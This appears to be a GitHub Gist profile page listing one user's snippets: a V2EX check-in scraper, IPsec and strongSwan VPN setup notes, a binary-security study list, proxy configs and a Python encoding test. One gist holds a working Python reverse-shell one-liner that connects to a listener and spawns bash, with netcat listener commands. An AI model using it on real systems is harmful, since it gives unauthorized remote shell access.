Skip to content

Instantly share code, notes, and snippets.

View coconut49's full-sized avatar
🐰
Focusing

49 coconut49

🐰
Focusing
View GitHub Profile
# -*- coding: utf-8 -*-
from bs4 import BeautifulSoup
import requests
username = '' ###账号###
password = '' ###密码###
login_url = 'http://v2ex.com/signin' ###如V2EX设置了使用 SSL,必须改 https###
index_url = 'http://v2ex.com' ###同上###
mission_url = 'http://www.v2ex.com/mission/daily' ###同上###
UA = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) \
@coconut49
coconut49 / racoon-vpn-setup.sh
Last active August 29, 2015 14:25
Racoon IPSEC VPN setup using IKEv1 and Linux Username and Password
#! /bin/sh
# 安装racoon
apt-get install racoon
# 配置racoon
cat << _EOF_ > /etc/racoon/racoon.conf
log notify;
path pre_shared_key "/etc/racoon/psk.txt";
path certificate "/etc/racoon/certs";
listen {

测试平台:DigitalOcean VPS ubuntu14.04 x64, strongswan5.3.2

运行以下命令请使用root权限

一:安装strongswan

由于ubuntu软件仓库中strongswan版本较低,因此从官网源码编译安装

apt-get install build-essential     #编译环境
aptitude install libgmp10 libgmp3-dev libssl-dev pkg-config libpcsclite-dev libpam0g-dev     #编译所需要的软件
@coconut49
coconut49 / binary.md
Last active August 29, 2015 14:25
0xFA

binary 方向

基础

  • python
  • 常见工具的使用(ida,od,windbg,gdb)
  • win32编程(其他平台类推)
  • c与汇编指令的对应
  • c语言
  • 常见汇编指令(其他平台类推)
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
[Proxy]
WIFI = direct, interface=en2
VPN = direct, interface=utun0
[Rule]
DOMAIN-SUFFIX,yach.me,WIFI
FINAL,VPN

如何在路由器中实现透明代理?

0 互联网现状

目前整个互联网环境,被破坏最严重地部分,是 Web 服务体验。当直接破坏难以实现时,就会从流程链的上下游着手,如:DNS 污染。

其它地互联网服务类型,例如:邮件,可能小部分会受到 Web 服务上下游破坏地余震,但整体上基本不受影响。

@coconut49
coconut49 / unicode_escape.py
Created September 9, 2016 07:39 — forked from omsobliga/unicode_escape.py
Python 在什么情况下会输出 Unicode 字符串
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" 测试 Python 在什么情况下会输出 Unicode 字符串
需要首先理解在 Python 中 Unicode 类型和 Unicode 字符串指的不是同一个东西。
Unicode 字符串是 str 类型,但它的值的表现形式是 Unicode 编码形式。
"""
def printt(str):
@coconut49
coconut49 / 0_reuse_code.js
Created November 3, 2016 05:29
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console